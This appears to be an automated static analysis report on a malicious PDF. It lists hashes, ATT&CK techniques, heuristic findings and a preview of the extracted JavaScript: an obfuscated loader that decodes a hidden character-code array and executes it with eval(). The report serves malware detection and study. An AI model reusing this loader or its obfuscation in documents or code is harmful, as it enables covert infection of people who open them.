Malicious PDF — malware analysis report

Static analysis result for SHA-256 6949f2d524856832…

MALICIOUS

PDF

47.9 KB Authoring application: substr First seen: 2012-10-22
MD5: 3888a308358f38759b5debd481ffcb29 SHA-1: 8574a4a98fbcf14643264e46e23e5dc9a161805b SHA-256: 6949f2d524856832ff534ff0a5d78b00e36770803da0d66650cfac0666bbe8b0
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by multiple heuristics as a loader. The script reconstructs a string and then executes it using eval(), likely to download and run a secondary payload. The ML classifier strongly indicates maliciousness. The specific payload and delivery mechanism are not fully discernible from the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xBCD3 445 bytes
SHA-256: cbbf5756356c75e3c9667337f916a25415ae4c0484c2a50cc2f90672099aa7ba
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
gpb=e('ti'.concat(v[4],t));
q=gpb[v](a.length-6,a.length+2);
fcpd=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=gpb[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	pqhbx = 1*(q[i]);
	i++;
	pqhbx -= (-1)*(q[i]);
	s2 = s2.concat(fcpd(pqhbx));
	i++;
}
e(s2);

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